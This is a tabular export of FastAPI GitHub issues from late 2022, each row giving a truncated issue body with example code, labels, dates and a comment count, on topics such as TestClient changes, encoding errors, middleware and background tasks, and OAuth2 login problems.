      df.insert(0, ""No"", df.index + 1)
      df.to_csv(filename, index=False, encoding=_encoding)
   fname = f""xyz.csv""
   create_file(content, fname, encoding)
   return FileResponse(path=fname, filename=fname)
```


### Description

the same api downloads on Safari but not on Chrome
it downloads when I allow insecure content on Chrome
one api downloads on Chrome, another api does not

the one api which works is added through an @app decorator
t... [TRUNCATED]","question,answered,question-migrate",2022-11-15T20:18:50Z,2023-02-27T21:28:21Z,4
tiangolo/fastapi,1450123387,`TestClient.delete()` no longer supports payloads,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code


#### App

```python
from fastapi import FastAPI

app = FastAPI()

@app.delete(""/{user_id}"")
async def _delete_user(user_id: int):
    return {}
```


#### Test

```python
def test_delete_user(client: TestClient):
    user_id = 123
    response = client.delete(f""/{user_id}"", json={""validation_code"": 789})
    assert response.status_code == 200
```

#### Error

```
TypeError: TestClient.delete() got an unexpected keyword argument 'json'
```

### Description

After updating my application to FastAPI 0.87.0 I found out that the new `TestClient` does not support anymore any kind of payload in the `DELETE` method. Alt... [TRUNCATED]","question,question-migrate",2022-11-15T17:16:10Z,2023-02-28T15:43:35Z,21
tiangolo/fastapi,1449375502,Bad encoding in query parameters with new TestClient using httpx.Client,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import logging

from fastapi import FastAPI

app = FastAPI()


@app.get(""/example"")
async def _show_encoding_error(look_for: str):
    return {""found"": look_for}


if __name__ == '__main__':
    from fastapi.testclient import TestClient

    with TestClient(app) as client:
        params = {""look_for"": ""plain text""}
        resp = client.get(""/example"", params=params).json()
        logging.warning(resp)
        assert resp[""found""] == ""plain text""

        params = {""look_for"": ""España""}
        resp = client.get(""/example"", params=params).json()
        logging.warning(resp)
        assert resp[""found""] == ""España"", resp[""fo... [TRUNCATED]","question,question-migrate",2022-11-15T08:29:27Z,2023-02-27T21:28:17Z,7
tiangolo/fastapi,1448481732,Feature: The implementation of a class to manage cron tasks,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI, CronTasks

from time import sleep

app = FastAPI()

@app.on_event(""startup"")
async def startup_event():
    await some_function()

async def some_function(cron_tasks: CronTasks):
    cron_tasks.add_task(function = other_function, parameters = 'Some parameters', repeat_time = 216000) # Time in seconds; 24h = 216000

async def other_function(parameters):
    print(parameters)
    sleep(3)
```


### Description

Call a cron tasks class in my controllers or events to set up repetitive actions.

### Wanted Solution

When I launch my project with uvicorn I would like to have some cron tasks, like background tasks... [TRUNCATED]","feature,answered,reviewed",2022-11-14T17:44:43Z,2022-11-26T00:14:52Z,3
tiangolo/fastapi,1448207266,TypeError: Client.put() got an unexpected keyword argument 'extensions',"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import pytest
from fastapi.testclient import TestClient

@pytest.mark.parametrize(
    [""token"", ""data"", ""status_code_returned""],
    [
        pytest.param(USER_ID_CORRECT_TOKEN, UPDATE_DATA, 200, id=""update user info success""),
        pytest.param(USER_ID_FAILED_TOKEN, UPDATE_DATA, 404, id=""update user info failed""),
    ],
)

def test_update_user_info(client: TestClient, token, data, status_code_returned: int):
    headers = {""Authorization"": f""Bearer {token}""}
    response = client.put(""/admin/user"", json=data, headers=headers)
    assert response.status_code == status_code_returned
    if token == USER_ID_CORREC... [TRUNCATED]","question,question-migrate",2022-11-14T14:50:15Z,2023-02-27T21:28:12Z,9
tiangolo/fastapi,1447926247,Managing out-of-date official doc translations ,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Description

* For contributing translations, it helps that tools or notification to Inform us out of dates translations.
* (I believe) translated documents should shows if up-to-date or out-of-dates to original document. it help users.

### Wanted Solution

First of all, to solve how to search out-of-date translations, I created simple tools ([PR](#5641)) to compare committed date between original and translated docs. It works (but not correct).

How about merging the tools and collaborate them to notify it for developer and user with something like GitHub Actions?

### Alternatives

* adding revision number in each documents and parse it for de... [TRUNCATED]","feature,investigate,reviewed",2022-11-14T11:57:43Z,2025-11-04T09:09:49Z,3
tiangolo/fastapi,1447276727,Path(alias=) feature doesn't work if the alias has a hyphen in it,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
This route, based on Closed Issue https://github.com/tiangolo/fastapi/issues/131#issuecomment-1177187775, works, and shows how one can alias a path parameter.


@router.get(""/api/users/{id}/profile/"")
def user_profile(user_id: int = Path(None, alias=""id"")):
    return {
        ""id"": user_id,
        ""username"": ""johndoe""
    }
```

This route, using `""user-id""` instead of `""id""` as the alias, does not work.

```
@router.get(""/api/users1/{user-id}/profile/"")
def user_profile(user_id: int = Path(None, alias=""user-id"")):
    return {
        ""id"": user_id,
        ""username"": ""johndoe""
    }
```
```


### Description

Both `Query()`... [TRUNCATED]","question,question-migrate",2022-11-14T02:46:05Z,2023-02-27T21:28:09Z,4
tiangolo/fastapi,1447048833,Sending request to FastAPI endpoint with form data OAuth2PasswordRequestForm results in Error 422,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
@router.post(""/login/access-token"", response_model=schemas.Token)
def login_access_token(
    db: Session = Depends(deps.get_db), form_data: OAuth2PasswordRequestForm = Depends()
) -> Any:
    """"""
    OAuth2 compatible token login, get an access token for future requests
    """"""
    user = crud.user.authenticate(
        db, email=form_data.username, password=form_data.password
    )
    if not user:
        raise HTTPException(status_code=400, detail=""Incorrect email or password"")
    elif not crud.user.is_active(user):
        raise HTTPException(status_code=400, detail=""Inactive user"")
    access_token_expires = timedelta(minutes=set... [TRUNCATED]","question,question-migrate",2022-11-13T19:19:36Z,2023-02-27T21:28:05Z,5
tiangolo/fastapi,1446575554,Why does the doc on Websockets refer to the websockets module from aaugustin?,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
`from fastapi import FastAPI, WebSocket`
```


### Description

Why does the [documentation](https://fastapi.tiangolo.com/advanced/websockets/#install-websockets) on Websockets recommend to install the websockets implementation from pypi (https://github.com/aaugustin/websockets) and one section later use the one that is shipped with FastAPI `from fastapi import FastAPI, WebSocket`?


### Operating System

Windows

### Operating System Details

_No response_

### FastAPI Version

0.73.0

### Python Version

3.9

### Additional Context

_No response_","question,answered,question-migrate",2022-11-12T19:31:09Z,2023-02-27T21:28:02Z,5
tiangolo/fastapi,1446496307,[TypeError] `guess_type` of media raising `Exception`,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI, File, UploadFile
from fastapi.responses import FileResponse
import pandas as pd

from config import failure_path


app = FastAPI()

@app.post(""/infer"", tags=[""inference""], response_class=FileResponse)
async def infer(input: UploadFile = File(...)) -> Union[FileResponse, dict]:
    data = None

    # Convert from CSV to pandas
    if input.content_type == ""text/csv"":
        data = await input.read()
        temp_io = io.StringIO(data.decode(""utf-8""))
        data = pd.read_csv(temp_io)
    else:
        return {
            ""success"": False,
            ""message"": f""Content type {inp... [TRUNCATED]","question,question-migrate",2022-11-12T15:34:52Z,2023-02-27T21:27:59Z,6
tiangolo/fastapi,1445583376,Defect: Dependency scope propagation is broken,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
# conceptual excerpt from unittests of associated PR
async def security1(scopes: SecurityScopes):
    return _security1(scopes.scopes)

async def security2(scopes: SecurityScopes):
    return _security2(scopes.scopes)

async def dep3(
    dep=Security(security1, scopes=[""scope1""]),
    dep2=Security(security2, scopes=[""scope2""]),
):
    return {}


@pytest.fixture
def mocks():
    with patch.dict(globals(), {""_security1"": Mock()}):
        with patch.dict(globals(), {""_security2"": Mock()}):
            yield


app = FastAPI()

@app.get(""/recursive_scopes"")
def recursive_scopes(dep=Security(dep3, scopes=[""scop... [TRUNCATED]","question,investigate,question-migrate",2022-11-11T14:52:44Z,2023-02-28T15:43:31Z,0
tiangolo/fastapi,1445336070,"TypeError: function() argument 'code' must be code, not str","### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI
from app.model.test import Upscale

app = FastAPI()

class TextIn(Upscale):
    org_url: str


class TextOut(Upscale):
    url: str



@app.get(""/"")
def home():
    return {""health_check"": ""OK""}

@app.post(""/post"", response_model=TextOut)
def UpSc(payload: TextIn):
    textwrap = Upscale(payload.org_url)
    return {""url"": ""url""}
```


### Description

Hello,
I used a tutorial from YouTube to-do my code. It is a simple api request. But when I want to run my project as a docker, I get this message:
""TypeError: function() argument 'code' must be code, not str""
i found this error on google, but nothing... [TRUNCATED]","question,answered,question-migrate",2022-11-11T11:25:25Z,2023-02-27T21:27:56Z,4
tiangolo/fastapi,1445181857,How to expose just get endpoints from Routers,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
#router_todo.py
from fastapi import FastAPI

router = APIRouter()

@router.get(""/"")
def root():
    return ""todo""

@router.post(""/todo"")
def create_new():
    return ""create new item""



#main.py
from fastapi import FastAPI
import router_todo

app = FastAPI()
app.include_router(router_todo.router, prefix=""/todo"", tags=[""todo""])
```


### Description

I have several Routers whose endpoints I expose on a single app. These endpoints can be anything from post, get, put, delete.

This works nicely, but I am wondering whether there is an elegant solution to just expose the get endpoints for routers?

Of course, I could wrap every en... [TRUNCATED]","question,answered,question-migrate",2022-11-11T09:19:05Z,2023-02-27T21:27:51Z,12
tiangolo/fastapi,1444963008,"How to manage a set of nested items without running the error ""unhashable type""?","### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI
from pydantic import BaseModel

app = FastAPI()

class MyBaseModel(BaseModel):
    def __hash__(self):  # make hashable BaseModel subclass
        return hash((type(self),) + tuple(self.__dict__.values()))

class NestedItems(MyBaseModel):
    name: str

class Items(MyBaseModel):
    items: set[NestedItems]

@app.post(""/offers/"")
async def create_items(items: Items):
    return items

```

This can be tested with the following command:

```bash
uvicorn mre:app --reload &
curl -X 'POST' \
  'http://127.0.0.1:8000/offers/' \
  -H 'accept: application/json' \
  -H 'Content-Type: ap... [TRUNCATED]","question,answered,question-migrate",2022-11-11T05:43:07Z,2023-02-27T21:27:48Z,3
tiangolo/fastapi,1444837676,"how to disable console output ""{result_flag: True}""","### First Check

- [X] I added a very descriptive title to this issue.
- [x] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI


app = FastAPI()
@app.get('/hello')
async def hello():
    return ""hello""
```


### Description

Every time I make a http request to my fastapi server, I get an ouput like this in my consonle: 
`{result_flag}: True`
How to disable this log?

### Operating System

Linux

### Operating System Details

_No response_

### FastAPI Version

1.0.3

### Python Version

3.9.5

### Additional Context

_No response_","question,question-migrate",2022-11-11T02:38:31Z,2023-02-27T21:27:45Z,3
tiangolo/fastapi,1444405890,Background task not executing multiple requests with same params.,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
@router.post("""", response_model=IPostResponseBase[Token])
async def login(
    credential: EmailStr | str,
    channel: LoginType,
    # background_tasks: BackgroundTasks,     
) -> Any:
    """"""
    Login for mobile users
    """"""
    # background_tasks.add_task(start_verification, credential, channel)
    await start_verification(credential, channel)
    return create_response(data={}, message=""OTP sent"")
```


### Description

* background task is added as a funtion param and then given a single new task to execute post-response. Essentially this snippet sends an otp verification (we don't care about failure, but d... [TRUNCATED]","question,answered,question-migrate",2022-11-10T18:52:50Z,2023-02-27T21:27:42Z,7
tiangolo/fastapi,1443809012,Optional bodies for POST endpoints,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
class RegistrationRequest(pydantic.BaseModel):
    order_id: str | None


@router.post(""/registration"")
async def registration(
    request: RegistrationRequest,
):
    if request.order_id:
        register_with_order(request.order_id)
    else:
        # This is only reached if body is '{}', if body is '' FastAPI throws 422.
        register_without_order()
```


### Description

We are running an API endpoint which does not expect a request model.

We would like to repurpose the endpoint so that it optionally expects a JSON body. The existing logic should be available when there is no body present or the body hasn't got values for the... [TRUNCATED]","question,answered,reviewed,question-migrate",2022-11-10T12:19:43Z,2023-02-27T21:27:38Z,6
tiangolo/fastapi,1443657893,How to use to use dynamic response_model when using SQLModel classes defined at runtime,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from typing import List, Optional
from fastapi import Depends, FastAPI, HTTPException, Query
from sqlmodel import Field, Relationship, Session, SQLModel, create_engine, select
from sqlalchemy.orm import registry

all_bases = {}

class BaseRepository:
    def __init__(self, db_filename):
        self.engine = create_engine(
            f""sqlite:///{db_filename}"",
            echo=True
        )
        self.mapper_registry = registry()
        class SQLModel_custom(SQLModel, registry=self.mapper_registry):
            pass
        self.sqlmodel_subclass = SQLModel_custom
        self.sqlmodel_subclass.metadata = self... [TRUNCATED]","question,question-migrate",2022-11-10T10:41:26Z,2023-02-27T21:27:35Z,6
tiangolo/fastapi,1442696198,Adding a middleware causes background tasks cancellation,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import asyncio
import time
from fastapi import BackgroundTasks, FastAPI

app = FastAPI()


@app.middleware(""http"")
async def pass_all_middleware(request, call_next):
    return await call_next(request)


async def test_bg():
    try:
        print(""BG TASK STARTED"")
        await asyncio.sleep(5)
        print(""BG TASK ENDED"")
    except BaseException as be:
        print(""BG TASK NOT ENDED CORRECTLY"", type(be))


@app.get(""/hello"")
async def root(background_tasks: BackgroundTasks):
    background_tasks.add_task(test_bg)
    return {""message"": ""hello""}
```


### Description

Executing the sample code ca... [TRUNCATED]","question,investigate,question-migrate",2022-11-09T20:19:19Z,2023-02-27T21:27:31Z,4
tiangolo/fastapi,1442475741,Router set query params from model dynamicly,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
# any pydantic model
        Model 
        args1 = Model.dict()
        async def route(
            response: Response,
            req: Request,
            _end: int = 25,
            _order=""DESC"",
            _sort=""id"",
            _start: int = 0,
            **args1
        ):

#and now i do like this 
        async def route(
            response: Response,
            req: Request,
            _end: int = 25,
            _order=""DESC"",
            _sort=""id"",
            _start: int = 0,
        ):
            try:
                fields_store = Model.dict()
                filter = {
            ... [TRUNCATED]","question,answered,question-migrate",2022-11-09T17:25:39Z,2023-02-27T21:27:27Z,4
tiangolo/fastapi,1441826972,performance latency after updating to Fastapi > 0.82.0,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
#db dependency

def get_db():
    with SessionLocal() as db:
        try:
            yield db
        except:
            raise
        finally:
            db.close()


#exceptions.py
# catch all exception in a middleware

app.middleware(""http"")(exceptions.catch_exceptions_middleware)
```


### Description

i noticed that after i've updated Fastapi to a superior version > 0.82.0, i noticed that mu integrations tests are stuck and keeps running in a slow manner, which is not the usual behavior of  any version that is  less than <= 0.82.0 , Can anyone confirm the same behavior please ? i can not understand why i have a really long late... [TRUNCATED]","question,answered,question-migrate",2022-11-09T10:23:21Z,2023-02-27T21:27:23Z,8
tiangolo/fastapi,1440441224,"after successful login, no Authorization header received in FastAPI from Swagger or other clients, and this only in servers, no problem in localhost","### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
@app.get(""/me"", response_model=User)
async def who_am_I(current_user: User = Depends(get_user_from_jwt)):
    return current_user

oauth2_scheme** = OAuth2PasswordBearer(tokenUrl=""/login"")

async def get_user_from_jwt(token: str = Depends(**oauth2_scheme)):
    credentials_exception = HTTPException(
        status_code=status.HTTP_401_UNAUTHORIZED,
        detail=""Could not validate credentials"",
        headers={""WWW-Authenticate"": ""Bearer""},
    )
    try:
        if not token: # this is only called when using auto_error=False
            return None

        payload = jwt.decode(token, SECRET_KEY, algorithms=[ALGO... [TRUNCATED]","question,answered,question-migrate",2022-11-08T15:40:01Z,2023-02-27T21:27:19Z,6
tiangolo/fastapi,1440316960,StreamingResponse not streaming when using httpx.AsyncClient(),"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import APIRouter

router = APIRouter(dependencies=[Depends(get_token_cookie)])
dccapi_auth = {...}

async def getwflogs(serverip):
    async with AsyncClient(headers=dccapi_auth) as client:
        req = client.build_request(""POST"", f""http://{serverip}:3322/api/service/getlog/3e170885-c0e4-469a-bc73-c598d99e9de1"")
        r = await client.send(req, stream=True)
        async for i in r.aiter_text():
            yield i

@router.get(""/getwflogs"")
async def GET_getwflogs():
    return StreamingResponse(getwflogs(serverip), media_type=""text/plain"")
```


### Description

* Call /getwflogs endpoint from ... [TRUNCATED]","question,answered,question-migrate",2022-11-08T14:32:11Z,2023-02-27T21:27:15Z,4
tiangolo/fastapi,1439714246,FastAPI dependencies tare-down breaks with BaseHTTPMiddleware,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import logging

from fastapi import Depends, FastAPI
from fastapi.middleware.base import BaseHTTPMiddleware
from starlette.middleware import Middleware
from starlette.middleware.base import BaseHTTPMiddleware


class CustomMiddleware(BaseHTTPMiddleware):
    async def dispatch(self, request, call_next):
        return await call_next(request)


app = FastAPI(middleware=[Middleware(CustomMiddleware)])


def dependency_a():
    yield ""A""
    logging.warning(""WILL NOT RUN"")


def dependency_b():
    yield ""B""
    logging.warning(""WILL NOT RUN"")


def dependency_c():
    yield ""C""
